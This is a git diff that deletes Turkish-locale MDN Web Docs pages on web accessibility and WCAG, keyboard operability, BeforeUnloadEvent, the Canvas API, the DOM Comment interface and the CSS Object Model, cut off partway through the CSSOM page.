should be aware of.</dd> - <dt><a href="/en-US/docs/Accessibility/ARIA" title="/en-US/docs/Accessibility/ARIA">ARIA</a></dt> - <dd>A collection of articles to learn how to use ARIA to make your HTML documents more accessible.</dd> - <dt><a href="/en-US/docs/Accessibility/AT_Development" title="AT Development">Assistive technology (AT) development</a></dt> - <dd>A collection of articles intended for AT developers</dd> - <dt><a href="/en-US/docs/Web/Accessibility/Mobile_accessibility_checklist">Mobile accessibility checklist</a></dt> - <dd>This document provides a concise checklist of accessibility requirements for mobile app developers.</dd> - <dt><a href="/en-US/docs/Web/Accessibility/Cognitive_accessibility">Cognitive accessibility</a></dt> - <dd>When creating web content, be aware of how you can ensure that it is accessible to people cognitive impairments.</dd> - <dt><a href="/en-US/docs/Web/Accessibility/Seizure_disorders">Accessibility for seizure disorders</a></dt> - <dd>Some types of visual web content can induce seizures in people with certain brain disorders. Understand the types of content that can be problematic, and find tools and strategies to help you avoid them.</dd> - <dt></dt> -</dl> - -<p><span class="alllinks"><a href="/en-US/docs/tag/Accessibility" title="/en-US/docs/tag/Accessibility">View all articles about Accessibility...</a></span></p> -</div> - - -<p><br> - </p> -</div> - -<p>{{ endnote(1) }} <a href="http://www.w3.org/standards/webdesign/accessibility" title="http://www.w3.org/standards/webdesign/accessibility">W3C - Accessibility</a></p> - -<h2 id="See_also">See also</h2> - -<ul> - <li><a href="https://lists.mozilla.org/listinfo/accessibility">Mozilla mailing list about accessibility</a></li> - <li><a href="http://www.w3.org/WAI/IG/">WAI Interest Group</a></li> - <li><a href="https://mozillians.org/en-US/group/1-accessibility">Mozillians group about accessibility</a></li> - <li><a href="/en-US/docs/Web/Guide" title="REDIRECT Web">Developer guides</a></li> - <li><a href="/en-US/docs/Mozilla/Accessibility" title="Accessibility is the idea that software (among other things) should be designed to be usable and, as much as possible, convenient to use for people with disabilities. Mozilla strives to make its software accessible; the documents below cover the ways in which we do so.">Accessibility and Mozilla</a></li> -</ul> - -<section id="Quick_Links"></section> diff --git a/files/tr/web/accessibility/understanding_wcag/index.html b/files/tr/web/accessibility/understanding_wcag/index.html deleted file mode 100644 index fe71b20ebc..0000000000 --- a/files/tr/web/accessibility/understanding_wcag/index.html +++ /dev/null @@ -1,59 +0,0 @@ ---- -title: Understanding the Web Content Accessibility Guidelines -slug: Web/Accessibility/Understanding_WCAG -tags: - - NeedsTranslation - - TopicStub - - WCAG - - Web Content Accessibility Guidelines -translation_of: Web/Accessibility/Understanding_WCAG ---- -<p class="summary">This set of articles provides quick explanations to help you understand the steps that need to be taken to conform to the recommendations outlined in the W3C Web Content Accessibility Guidelines 2.0 or 2.1 (or just WCAG, for the purposes of this writing).</p> - -<p>The WCAG 2.0 and 2.1 provide a detailed set of guidelines for making web content more accessible to people with a wide variety of disabilities. It is comprehensive but incredibly detailed, and quite difficult to gain a rapid understanding of. For this reason, we have summarised the practical steps you need to take to satisfy the different recommendations, with further links to more details where required.</p> - -<h2 id="The_four_principles">The four principles</h2> - -<p>WCAG is broadly broken down into four principles — major things that web content <strong>must be</strong> to be considered accessible (see <a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/intro.html#introduction-fourprincs-head">Understanding the Four Principles of Accessibility </a>for the WCAG definitions).</p> - -<p>Each of the links below will take you to pages that further expand on these areas, giving you practical advice on how to write your web content so it conforms to the success criteria outlined in each of the WCAG 2.0 and 2.1 guidelines that further sub-divides each principle.</p> - -<ul> - <li><a href="https://developer.mozilla.org/en-US/docs/user:chrisdavidmills/Understanding_WCAG/Perceivable">Perceivable:</a> Users must be able to perceive it in some way, using one or more of their senses.</li> - <li><a href="/en-US/docs/user:chrisdavidmills/Understanding_WCAG/Operable">Operable</a>: Users must be able to control UI elements (e.g. buttons must be clickable in some way — mouse, keyboard, voice command, etc.).</li> - <li><a href="/en-US/docs/user:chrisdavidmills/Understanding_WCAG/Understandable">Understandable</a>: The content must be understandable to its users.</li> - <li><a href="/en-US/docs/user:chrisdavidmills/Understanding_WCAG/Robust">Robust</a>: The content must be developed using well-adopted web standards that will work across different browsers, now and in the future.</li> -</ul> - -<h2 id="Should_I_use_WCAG_2.0_or_2.1">Should I use WCAG 2.0 or 2.1?</h2> - -<p>WCAG 2.1 is the most recent and relevant accessibility standard. Use WCAG 2.1 to help more people with disabilities and reduce the future legal risk for web site owners. Target WCAG 2.0 first when allocating resources. Then step up to WCAG 2.1. </p> - -<h3 id="What_is_WCAG_2.1">What is WCAG 2.1?</h3> - -<p>WCAG 2.1 was published as an official recommendation on 05 June 2018. The European Union (EU) adopted WCAG 2.1 as the digital accessibility standard in September 2018. W3C published a press release <a href="https://www.w3.org/blog/2018/09/wcag-2-1-adoption-in-europe/">WCAG 2.1 Adoption in Europe</a>. </p> - -<p>WCAG 2.1 includes:</p> - -<ul> - <li>all of WCAG 2.0 (verbatim, word-for-word)</li> - <li>17 new Success Criteria at the A / AA / AAA levels primarily addressing user needs in these areas: - <ul> - <li>Mobile Accessibility </li> - <li>Low Vision</li> - <li>Cognitive</li> - </ul> - </li> - <li>Read more about WCAG 2.1: - <ul> - <li>Deque: <a href="https://www.deque.com/blog/wcag-2-1-what-is-next-for-accessibility-guidelines/">WCAG 2.1: What is Next for Accessibility Guidelines</a></li> - <li>TPG: <a href="https://developer.paciellogroup.com/blog/2018/06/web-content-accessibility-guidelines-wcag-2-1/">Web Content Accessibility Guidelines (WCAG) 2.1</a></li> - </ul> - </li> -</ul> - -<h2 id="Legal_standing">Legal standing</h2> - -<p>This guide is intended to provide practical information to help you build better, more accessible websites. However, we are not lawyers, and none of this constitutes legal advice. If you are worried about the legal implications of web accessibility, we'd recommend that you check the specific legislation governing accessibility for the web/public resources in your country or locale, and seek the advice of a qualified lawyer.</p> - -<p><a href="/en-US/docs/Learn/Accessibility/What_is_accessibility">What is accessibility?</a> and particularity the <a href="/en-US/docs/Learn/Accessibility/What_is_accessibility#Accessibility_guidelines_and_the_law">Accessibility guidelines and the law</a> section provide more related information.</p> diff --git a/files/tr/web/accessibility/understanding_wcag/keyboard/index.html b/files/tr/web/accessibility/understanding_wcag/keyboard/index.html deleted file mode 100644 index 32705d664f..0000000000 --- a/files/tr/web/accessibility/understanding_wcag/keyboard/index.html +++ /dev/null @@ -1,87 +0,0 @@ ---- -title: Keyboard -slug: Web/Accessibility/Understanding_WCAG/Keyboard -translation_of: Web/Accessibility/Understanding_WCAG/Keyboard ---- -<div>To be fully accessible, a web page must be operable by someone using only a keyboard to access and control it. This includes users of screen readers, but can also include users who have trouble operating a pointing device such as a mouse or trackball, or whose mouse is not working at the moment, or who simply prefer to use a keyboard for input whenever possible.</div> - -<h2 id="Focusable_elements_should_have_interactive_semantics">Focusable elements should have interactive semantics</h2> - -<p>If an element can be focused using the keyboard, then it should be interactive; that is, the user should be able to do something to it and produce a change of some kind (for example, activating a link or changing an option).</p> - -<div class="blockIndicator note"> -<p><strong>Note:</strong> One important exception to this rule is if the element has <code>role="document" </code>applied to it, <strong>inside </strong>an interactive context (such as <code>role="application"</code>). In such a case, focusing the nested document is the only way of returning assistive technology to a non-interactive state (often called "browse mode").</p> -</div> - -<p>Most interactive elements are focusable by default; you can make an element focusable by adding a <code>tabindex=0</code> attribute value to it. However, you should only add <code>tabindex</code> if you have also made the element interactive, for example, by defining appropriate event handlers keyboard events.</p> - -<h3 id="See_also">See also</h3> - -<ul> - <li><a href="/en-US/docs/Web/HTML/Global_attributes/tabindex">tabindex</a> global HTML attribute</li> - <li>Global event handlers: <a href="/en-US/docs/Web/API/GlobalEventHandlers/onkeydown">onkeydown</a></li> - <li>Global event handlers: <a href="/en-US/docs/Web/API/GlobalEventHandlers/onkeyup">onkeyup</a></li> -</ul> - -<h2 id="Avoid_using_tabindex_attribute_greater_than_zero">Avoid using <code>tabindex</code> attribute greater than zero</h2> - -<p>The <code>tabindex</code> attribute indicates that an element is focusable using the keyboard. A value of zero indicates that the element is part of the default focus order, which is based on the ordering of elements in the HTML document. A positive value puts the element ahead of those in the default ordering; elements with positive values are focused in the order of their <code>tabindex</code> values (1, then 2, then 3, etc.).</p> - -<p>This creates confusion for keyboard-only users when the focus order differs from the logical order of the page. A better strategy is to structure the HTML document so that focusable elements are in a logical order, without the need to re-order them with positive <code>tabindex</code> values.</p> - -<h3 id="See_also_2">See also</h3> - -<ul> - <li><a href="/en-US/docs/Web/HTML/Global_attributes/tabindex">tabindex</a> global HTML attribute</li> - <li><a href="https://www.w3.org/WAI/WCAG21/Understanding/focus-order.html">Understanding focus order</a></li> - <li><a href="http://adrianroselli.com/2014/11/dont-use-tabindex-greater-than-0.html">Don't use tabindex greater than 0</a></li> -</ul> - -<h2 id="Clickable_elements_must_be_focusable_and_should_have_interactive_semantics">Clickable elements must be focusable and should have interactive semantics</h2> - -<p>If an element can be clicked with a pointing device, such as a mouse, then it should also be focusable using the keyboard, and the user should be able to do something by interacting with it.</p> - -<p>An element is clickable if it has an <code>onclick</code> event handler defined. You can make it focusable by adding a <code>tabindex=0</code> attribute value to it. You can make it operable with the keyboard by defining an <code>onkeydown</code> event handler; in most cases, the action taken by event handler should be the same for both types of events.</p> - -<h3 id="See_also_3">See also</h3> - -<ul> - <li><a href="/en-US/docs/Web/HTML/Global_attributes/tabindex">tabindex</a> global HTML attribute</li> - <li>Global event handlers: <a href="/en-US/docs/Web/API/GlobalEventHandlers/onkeydown">onkeydown</a></li> - <li>Global event handlers: <a href="/en-US/docs/Web/API/GlobalEventHandlers/onkeyup">onkeyup</a></li> -</ul> - -<h2 id="Interactive_elements_must_be_able_to_be_activated_using_a_keyboard">Interactive elements must be able to be activated using a keyboard</h2> - -<p>If the user can interact with an element using touch or a pointing device, then the element should also support interacting using the keyboard. That is, if you have defined event handlers for touch or click events, you should also define them for keyboard events. The keyboard event handlers should enable the effectively the same interaction as the touch or click handlers.</p> - -<h3 id="See_also_4">See also</h3> - -<ul> - <li>Global event handlers: <a href="/en-US/docs/Web/API/GlobalEventHandlers/onkeydown">onkeydown</a></li> - <li>Global event handlers: <a href="/en-US/docs/Web/API/GlobalEventHandlers/onkeyup">onkeyup</a></li> -</ul> - -<h2 id="Interactive_elements_must_be_focusable">Interactive elements must be focusable</h2> - -<p>If the user can interact with an element (for example, using touch or a pointing device), then it should be focusable using the keyboard. You can make it focusable by adding a <code>tabindex=0</code> attribute value to it. That will add the element to the list of elements that can be focused by pressing the <kbd>Tab</kbd> key, in the sequence of such elements as defined in the HTML document.</p> - -<h3 id="See_also_5">See also</h3> - -<ul> - <li><a href="/en-US/docs/Web/HTML/Global_attributes/tabindex">tabindex</a> global HTML attribute</li> -</ul> - -<h2 id="Focusable_element_must_have_focus_styling">Focusable element must have focus styling</h2> - -<p>Any element that can receive keyboard focus should have visible styling that indicates when the element is focused. You can do this with the <code><a href="/en-US/docs/Web/CSS/:focus">:focus</a></code> CSS pseudo-class.</p> - -<p>Standard focusable elements such as links and input fields are given special styling by the browser by default, so you might not need to specify focus styling for such elements, unless you want the focus styling to be more distinctive.</p> - -<p>If you create your own focusable components, be sure that you also define focus styling for them.</p> - -<h3 id="See_also_6">See also</h3> - -<ul> - <li><a href="https://www.w3.org/WAI/WCAG21/Techniques/css/C15.html">Using CSS to change the presentation of a UI component when it receives focus</a></li> -</ul> diff --git a/files/tr/web/api/beforeunloadevent/index.html b/files/tr/web/api/beforeunloadevent/index.html deleted file mode 100644 index ee2bfefa82..0000000000 --- a/files/tr/web/api/beforeunloadevent/index.html +++ /dev/null @@ -1,90 +0,0 @@ ---- -title: BeforeUnloadEvent -slug: Web/API/BeforeUnloadEvent -tags: - - Boşaltma Olayından Önce -translation_of: Web/API/BeforeUnloadEvent ---- -<p><code><strong>Beforeunload</strong></code> olayı, pencere, belge ve kaynakları kaldırılmak üzereyken tetiklenir.</p> - -<p><code>ReturnValue</code> Event özelliğine boş olmayan bir dize atandığında, kullanıcılardan sayfadan ayrılmak için onay isteyen bir iletişim kutusu belirir (aşağıdaki örneğe bakın). Değer belirtilmediğinde, olay sessizce işlenir. Bazı uygulamalar, yalnızca çerçeve veya herhangi bir gömülü çerçeve bir kullanıcı hareketi veya kullanıcı etkileşimi alırsa iletişim kutusunu gösterir. Daha fazla bilgi için bkz. {{Anch ("Tarayıcı uyumluluğu")}}.</p> - -<p>{{InheritanceDiagram(600, 120)}}</p> - -<table class="properties"> - <tbody> - <tr> - <td>Kabarcıklar</td> - <td>Hayır</td> - </tr> - <tr> - <td>İptal edilebilir</td> - <td>Evet</td> - </tr> - <tr> - <td>Hedef nesneler</td> - <td>varsayılan görünüm</td> - </tr> - <tr> - <td>Arayüz</td> - <td>{{domxref("Event")}}</td> - </tr> - </tbody> -</table> - -<h2 id="Örnekler">Örnekler</h2> - -<pre class="brush:js; notranslate">window.addEventListener("beforeunload", function( event ) { - event.returnValue = "\o/"; -}); - -// Eşdeğerdir -window.addEventListener("beforeunload", function( event ) { - event.preventDefault(); -});</pre> - -<p>WebKit'ten türetilmiş tarayıcılar, iletişim kutusunun teknik özelliklerine uymaz. Neredeyse çapraz tarayıcıda çalışan bir örnek aşağıdaki örneğe yakın olacaktır.</p> - -<pre class="brush: js notranslate">window.addEventListener("beforeunload", function (e) { - var confirmationMessage = "\o/"; - - (e || window.event).returnValue = confirmationMessage; // Gecko + IE - return confirmationMessage; /* Safari, Chrome ve diğerleri - * WebKit'ten türetilmiş tarayıcılar */ -});</pre> - -<h2 id="Teknik_Özellikler">Teknik Özellikler</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Teknik Özellikler</th> - <th scope="col">Durum</th> - <th scope="col">Yorum</th> - </tr> - <tr> - <td>{{SpecName("HTML WHATWG", "browsing-the-web.html#the-beforeunloadevent-interface", "BeforeUnloadEvent")}}</td> - <td>{{Spec2("HTML WHATWG")}}</td> - <td>Initial definition</td> - </tr> - </tbody> -</table> - -<h2 id="Tarayıcı_Uyumluluğu">Tarayıcı Uyumluluğu</h2> - -<div> -<div class="hidden">Bu sayfadaki uyumluluk tablosu yapılandırılmış verilerden oluşturulmuştur. Verilere katkıda bulunmak isterseniz, lütfen <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> sayfasına bakın ve bize bir çekme isteği gönderin.</div> - -<p>{{Compat("api.BeforeUnloadEvent")}}</p> -</div> - -<h2 id="Ayrıca_bakınız">Ayrıca bakınız</h2> - -<ul> - <li>{{Event("DOMContentLoaded")}}</li> - <li>{{Event("readystatechange")}}</li> - <li>{{Event("load")}}</li> - <li>{{Event("beforeunload")}}</li> - <li>{{Event("unload")}}</li> - <li><a href="http://www.whatwg.org/specs/web-apps/current-work/#prompt-to-unload-a-document" title="http://www.whatwg.org/specs/web-apps/current-work/#prompt-to-unload-a-document">Belgeleri Boşaltma - Bir belgeyi boşaltma istemi</a></li> -</ul> diff --git a/files/tr/web/api/canvas_api/index.html b/files/tr/web/api/canvas_api/index.html deleted file mode 100644 index 32842f3676..0000000000 --- a/files/tr/web/api/canvas_api/index.html +++ /dev/null @@ -1,174 +0,0 @@ ---- -title: Tuval Arabirimi -slug: Web/API/Canvas_API -tags: - - Arabirim - - Canvas - - Genel Bakış - - JavaScript - - Kaynak - - Tuval -translation_of: Web/API/Canvas_API -original_slug: Web/API/Tuval_Arabirimi ---- -<div>{{CanvasSidebar}}</div> - -<p class="summary"><span class="seoSummary">Tuval anlamına gelen canvas, <a href="/en-US/docs/HTML/HTML5">HTML5</a> de eklenmiştir, <strong>{{HTMLElement("canvas")}} adlı HTML ögesi </strong>JavaScript betikleriyle birlikte, çizge çizmek için kullanılabilir. Örneğin görsel işleyebilir, görselleri canlandırabilir, gerçek zamanlı izleti bile işleyebilirsiniz. </span></p> - -<p>Mozilla uygulamaları Gecko 1.8 (bkz. <a href="/en-US/docs/Mozilla/Firefox/Releases/1.5">Firefox 1.5</a>) ile birlikte <code><canvas></code> desteği kazanmıştır. Öge, asıl olarak Apple tarafından OSX gösterge yüzeyinde ve Safari'de kullanılmıştır. Internet Explorer ise 9. sürümden sonra <code><canvas></code> desteklemeye başlamıştır; önceki sürümleri için Google'ın geliştirdiği <a href="https://github.com/arv/explorercanvas">Explorer Canvas</a> tasarısı <code><canvas></code> 'ın etkin kullanımına olanak tanıyordu. Google Chrome ve Opera 9'un da <code><canvas></code> desteği vardır.</p> - -<p><a href="/en-US/docs/Web/WebGL">WebGL</a> de donanım tarafından hızlandırılmış 3 Boyutlu <a href="/tr/docs/Web/Guide/Çizgeler">Web Çizgeleri </a>çizmek için <code><canvas></code> ögesini kullanır. </p> - -<h2 id="Örnek">Örnek</h2> - -<p> {{domxref("CanvasRenderingContext2D.fillRect()")}} yöntemini kullanan ufak bir kod parçacığı:</p> - -<h3 id="HTML">HTML</h3> - -<pre class="brush: html"><canvas id="tuval"></canvas> -</pre> - -<h3 id="JavaScript">JavaScript</h3> - -<pre class="brush: js">var tuval = document.getElementById('tuval'); -var bağlam = tuval.getContext('2d'); - -bağlam.fillStyle = 'green'; -bağlam.fillRect(10, 10, 100, 100); -</pre> - -<p>Aşağıdaki kodla oynayın ve tuvaldeki değişimleri canlı olarak görün.</p> - -<div class="hidden"> -<h6 id="Playable_code">Playable code</h6> - -<pre class="brush: html"><canvas id="tuval" width="400" height="200" class="playable-canvas"></canvas> -<div class="playable-buttons"> - <input id="düzenle" type="button" value="Düzenle" /> - <input id="sıfırla" type="button" value="Sıfırla" /> -</div> -<textarea id="code" class="playable-code"> -bağlam.fillStyle = 'green'; -bağlam.fillRect(10, 10, 100, 100);</textarea> -</pre> - -<pre class="brush: js">var tuval = document.getElementById('tuval'); -var bağlam = tuval.getContext("2d"); -var kodAlanı = document.getElementById('code'); -var sıfırla = document.getElementById('sıfırla'); -var düzenle = document.getElementById('düzenle'); -var kod = kodAlanı.value; - -function TuvaleÇiz() { - bağlam.clearRect(0, 0, tuval.width, tuval.height); - eval(kodAlanı.value); -} - -sıfırla.addEventListener('click', function() { - kodAlanı.value = kod; - TuvaleÇiz(); -}); - -düzenle.addEventListener('click', function() { - kodAlanı.focus(); -}) - -kodAlanı.addEventListener('input', TuvaleÇiz); -window.addEventListener('load', TuvaleÇiz); -</pre> -</div> - -<p>{{ EmbedLiveSample('Playable_code', 700, 360) }}</p> - -<h2 id="Atıflar">Atıflar</h2> - -<div class="index"> -<ul> - <li>{{domxref("HTMLCanvasElement")}}</li> - <li>{{domxref("CanvasRenderingContext2D")}}</li> - <li>{{domxref("CanvasGradient")}}</li> - <li>{{domxref("CanvasImageSource")}}</li> - <li>{{domxref("CanvasPattern")}}</li> - <li>{{domxref("ImageBitmap")}}</li> - <li>{{domxref("ImageData")}}</li> - <li>{{domxref("RenderingContext")}}</li> - <li>{{domxref("TextMetrics")}}</li> - <li>{{domxref("OffscreenCanvas")}}{{experimental_inline}}</li> - <li>{{domxref("Path2D")}} {{experimental_inline}}{{domxref("ImageBitmapRenderingContext")}}{{experimental_inline}}</li> -</ul> -</div> - -<p><code>WebGLRenderingContext</code> ile ilgili atıflar <a href="/en-US/docs/Web/WebGL" title="/en-US/docs/Web/WebGL">WebGL</a> altında verilmiştir.</p> - -<p>{{domxref("CanvasCaptureMediaStream")}} de ilgilidir.</p> - -<h2 id="Kılavuz_ve_yönergeler">Kılavuz ve yönergeler</h2> - -<dl> - <dt><a href="/en-US/docs/Web/API/Canvas_API/Tutorial">Canvas kılavuzu</a></dt> - <dd><code><canvas></code> ın hem temel hem de gelişmiş özelliklerini anlatan kapsayıcı bir kılavuz.</dd> - <dt><a href="/en-US/Add-ons/Code_snippets/Canvas">Kod Parçacıkları: Canvas</a></dt> - <dd><code><canvas></code> ile ilgili yazılmış kod parçacıkları...</dd> - <dt><a href="/en-US/docs/Web/API/Canvas_API/A_basic_ray-caster">Gösteri: Yalın ışıklandırma</a></dt> - <dd>Tuval kullanarak geliştirilmiş 3B ortamda görüş alanına göre ışıklandırma...</dd> - <dt><a href="/en-US/docs/Web/API/Canvas_API/Drawing_DOM_objects_into_a_canvas">Tuval üzerine DOM ögeleri çizmek</a></dt> - <dd>Belgede bulunan DOM ögeleri tuval üzerine çizimi.</dd> - <dt><a href="/en-US/docs/Web/API/Canvas_API/Manipulating_video_using_canvas">canvas kullanarak görüntü işleme</a></dt> - <dd>{{HTMLElement("video")}} ve {{HTMLElement("canvas")}} ögelerini kullanarak izletideki görüntüyü canlı olarak işleme/değiştirme</dd> -</dl> - -<h2 id="Kaynaklar">Kaynaklar</h2> - -<h3 id="Kapsamlı">Kapsamlı</h3> - -<ul> - <li><a href="http://joshondesign.com/p/books/canvasdeepdive/title.html">HTML5 Tuvaline Derinlemesine Dalmak</a></li> - <li><a href="http://bucephalus.org/text/CanvasHandbook/CanvasHandbook.html">Canvas(Tuval) El Kitabı </a></li> -</ul> - -<h3 id="Kütüphaneler">Kütüphaneler</h3> - -<ul> - <li><a href="http://fabricjs.com">Fabric.js</a> SVG işleme yeteneklerine iye, açık kaynaklı bir kütüphane.</li> - <li><a href="https://github.com/ericdrowell/KineticJS">Kinetic.js</a> masaüstü ve taşınabilir uygulamalardaki etkileşime odaklanmış açık kaynaklı tuval kütüphanesi.</li> - <li><a href="http://paperjs.org/">Paper.js</a> vektör çizgeleri için HTML5 tuvalin üzerinde çalışan betikleme çatısı.</li> - <li><a href="http://origamijs.com/docs/">Origami.js</a> hafif açık kaynaklı tuval kütüphanesi.</li> - <li><a href="http://libcanvas.github.com/">libCanvas</a> güçlü ve hafif, açık kaynaklı tuval çatısı.</li> - <li><a href="https://p5js.org/">p5.js </a>sanatçılar, eğitimciler ve yeni başlayanlar için çizim işlevselliği sunan tam donatılmış tuval kütüphanesi.</li> - <li><a href="http://processingjs.org">Processing.js</a> Processing görselleştime dilinin JS kütüphanesi.</li> - <li><a href="https://playcanvas.com/">PlayCanvas</a> açık kaynaklı oyun motoru.</li> - <li><a href="http://www.pixijs.com/">Pixi.js</a> açık kaynaklı oyun motoru.</li> - <li><a href="http://www.liquidx.net/plotkit/">PlotKit</a> çizge kütüphanesi.</li> - <li><a class="link-https" href="https://github.com/jeremyckahn/rekapi">Rekapi</a> tuval için canlandırma arabirimi.</li> - <li><a href="http://senchalabs.github.com/philogl/">PhiloGL</a> veri görselleştirme, yaratıcı kodlama ve oyun geliştirme için WebGL çatısı.</li> - <li><a href="http://thejit.org/">JavaScript InfoVis Araçkiti</a> Web için etkileşimli 2 boyutlu veri görselleştirmeleri yaratır.</li> - <li><a href="http://www.createjs.com/easeljs">EaselJS</a> oyun ve sanat için, tuval kullanımını kolaylaştıran açık kaynaklı/özgür kütüphanedir</li> - <li><a href="http://scrawl.rikweb.org.uk/">Scrawl-canvas</a> 2 boyutlu çizgeler oluşturmak, değiştirmek için tasarlanmış, açık kaynaklı bir başka kütüphanedir.</li> - <li><a href="https://www.patrick-wied.at/static/heatmapjs/">heatmap.js</a> açık kaynaklı, tuval üzerinde ısı haritaları oluşturmaya olanak tanıyan bir kütüphane.</li> - <li><a href="http://zimjs.com">ZIM</a> çatısı, tuval üzerinde yaratıcı kodlama için kolaylıklar, bileşenler ve denetim sunar. Erişilebilirlik ve yüzlerce renkli kılavuz da bunların içindedir.</li> -</ul> - -<h2 id="Tanımlamalar">Tanımlamalar</h2> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Tanım</th> - <th scope="col">Durum</th> - <th scope="col">Yorum</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{SpecName('HTML WHATWG', 'scripting.html#the-canvas-element', '<canvas>')}}</td> - <td>{{Spec2('HTML WHATWG')}}</td> - <td> </td> - </tr> - </tbody> -</table> - -<h2 id="Ayrıca_bkz.">Ayrıca bkz.</h2> - -<ul> - <li><a href="/en-US/docs/Web/WebGL">WebGL</a></li> -</ul> diff --git a/files/tr/web/api/comment/comment/index.html b/files/tr/web/api/comment/comment/index.html deleted file mode 100644 index 41109af106..0000000000 --- a/files/tr/web/api/comment/comment/index.html +++ /dev/null @@ -1,56 +0,0 @@ ---- -title: Comment() -slug: Web/API/Comment/Comment -translation_of: Web/API/Comment/Comment ---- -<p>{{ApiRef ("DOM")}} {{seeCompatTable}}</p> - -<p>Comment () konstruktoru yeni yaradılmış {{domxref ("Comment")}} obyektini mətn məzmunu olaraq parametrdə verilən isteğe bağlı {{domxref ("DOMString")}} qaytarır.</p> - -<h2 id="Syntax">Syntax</h2> - -<pre class="notranslate"><em>comment</em>1 = new Comment(); // Create an empty comment -<code><em>comment2</em></code> = new Comment("This is a comment");</pre> - -<h2 id="ax">ax</h2> - -<pre class="syntaxbox notranslate"><em>comment</em>1 = new Comment(); // Create an empty comment -<code><em>comment2</em></code> = new Comment("This is a comment"); -</pre> - -<h2 id="Example">Example</h2> - -<pre class="brush: js language-js notranslate">var comment = new Comment("Test");</pre> - -<h2 id="Specifications">Specifications</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - <tr> - <td>{{SpecName('DOM WHATWG', '#dom-comment-comment', 'Comment: Comment')}}</td> - <td>{{Spec2('DOM WHATWG')}}</td> - <td>Initial definition</td> - </tr> - </tbody> -</table> - -<h2 id="Browser_compatibility">Browser compatibility</h2> - - - -<p>{{Compat("api.Comment.Comment")}}</p> - -<div class="note"> -<p><strong>Note</strong>: For browsers where this constructor is not supported, {{domxref("Document.createComment()")}} may be suitable.</p> -</div> - -<h2 id="See_also">See also</h2> - -<ul> - <li><a href="/en-US/docs/DOM/DOM_Reference">The DOM interfaces index</a></li> -</ul> diff --git a/files/tr/web/api/comment/index.html b/files/tr/web/api/comment/index.html deleted file mode 100644 index 416930c567..0000000000 --- a/files/tr/web/api/comment/index.html +++ /dev/null @@ -1,75 +0,0 @@ ---- -title: Comment -slug: Web/API/Comment -tags: - - API - - DOM - - NeedsTranslation - - Reference - - TopicStub -translation_of: Web/API/Comment ---- -<div>{{ ApiRef("DOM") }}</div> - -<p><span class="seoSummary">The <code><strong>Comment</strong></code> interface represents textual notations within markup; although it is generally not visually shown, such comments are available to be read in the source view.</span> Comments are represented in HTML and XML as content between '<code><!--</code>' and '<code>--></code>'. In XML, the character sequence '<code>--</code>' cannot be used within a comment.</p> - -<p>{{InheritanceDiagram}}</p> - -<h2 id="Properties">Properties</h2> - -<p><em>This interface has no specific property, but inherits those of its parent, {{domxref("CharacterData")}}, and indirectly those of {{domxref("Node")}}.</em></p> - -<h2 id="Constructor">Constructor</h2> - -<dl> - <dt>{{ domxref("Comment.Comment()", "Comment()") }} {{experimental_inline}}</dt> - <dd>Returns a <code>Comment</code> object with the parameter as its textual content.</dd> -</dl> - -<h2 id="Methods">Methods</h2> - -<p><em>This interface has no specific method, but inherits those of its parent, {{domxref("CharacterData")}}, and indirectly those of {{domxref("Node")}}.</em></p> - -<h2 id="Specification" name="Specification">Specifications</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - <tr> - <td>{{SpecName('DOM WHATWG', '#comment', 'Comment')}}</td> - <td>{{Spec2('DOM WHATWG')}}</td> - <td>Added the constructor.</td> - </tr> - <tr> - <td>{{SpecName('DOM3 Core', 'core.html#ID-1728279322', 'Comment')}}</td> - <td>{{Spec2('DOM3 Core')}}</td> - <td>No change from {{SpecName('DOM2 Core')}}</td> - </tr> - <tr> - <td>{{SpecName('DOM2 Core', 'core.html#ID-1728279322', 'Comment')}}</td> - <td>{{Spec2('DOM2 Core')}}</td> - <td>No change from {{SpecName('DOM1')}}</td> - </tr> - <tr> - <td>{{SpecName('DOM1', 'level-one-core.html#ID-1728279322', 'Comment')}}</td> - <td>{{Spec2('DOM1')}}</td> - <td>Initial definition</td> - </tr> - </tbody> -</table> - -<h2 id="Browser_compatibility">Browser compatibility</h2> - - - -<p>{{Compat("api.Comment")}}</p> - -<h2 id="See_also">See also</h2> - -<ul> - <li><a href="/en-US/docs/Web/API/Document_Object_Model" title="/en-US/docs/DOM/DOM_Reference">The DOM interfaces index</a></li> -</ul> diff --git a/files/tr/web/api/css_object_model/index.html b/files/tr/web/api/css_object_model/index.html deleted file mode 100644 index e799a59ee4..0000000000 --- a/files/tr/web/api/css_object_model/index.html +++ /dev/null @@ -1,204 +0,0 @@ ---- -title: CSS Object Model (CSSOM) -slug: Web/API/CSS_Object_Model -tags: - - API - - CSSOM -translation_of: Web/API/CSS_Object_Model ---- -<div>{{DefaultAPISidebar('CSSOM')}}</div> - -<p class="summary"><strong>CSS Object Model</strong>, CSS'in JavaScript ile yönetilmesine imkan tanıyan bir API setidir. DOM ile oldukça benzerdir. Ancak CSSOM, HTML'den ziyade CSS içindir. CSSOM ile kullanıcılar CSS'i okuyabilir ya da dinamik olarak değiştirebilirler.</p> - -<h2 id="Referanslar">Referanslar</h2> - -<div class="index"> -<ul> - <li>{{domxref("AnimationEvent")}}</li> - <li>{{domxref("CaretPosition")}}</li> - <li>{{domxref("CSS")}}</li> - <li>{{domxref("CSSCharsetRule")}}</li> - <li>{{domxref("CSSConditionRule")}}</li> - <li>{{domxref("CSSCounterStyleRule")}}</li> - <li>{{domxref("CSSFontFaceRule")}}</li> - <li>{{domxref("CSSFontFeatureValuesMap")}}</li> - <li>{{domxref("CSSFontFeatureValuesRule")}}</li> - <li>{{domxref("CSSGroupingRule")}}</li> - <li>{{domxref("CSSImportRule")}}</li> - <li>{{domxref("CSSKeyframeRule")}}</li> - <li>{{domxref("CSSKeyframesRule")}}</li> - <li>{{domxref("CSSMarginRule")}}</li> - <li>{{domxref("CSSMediaRule")}}</li> - <li>{{domxref("CSSNamespaceRule")}}</li> - <li>{{domxref("CSSPageRule")}}</li> - <li>{{domxref("CSSRule")}}</li> - <li>{{domxref("CSSRuleList")}}</li> - 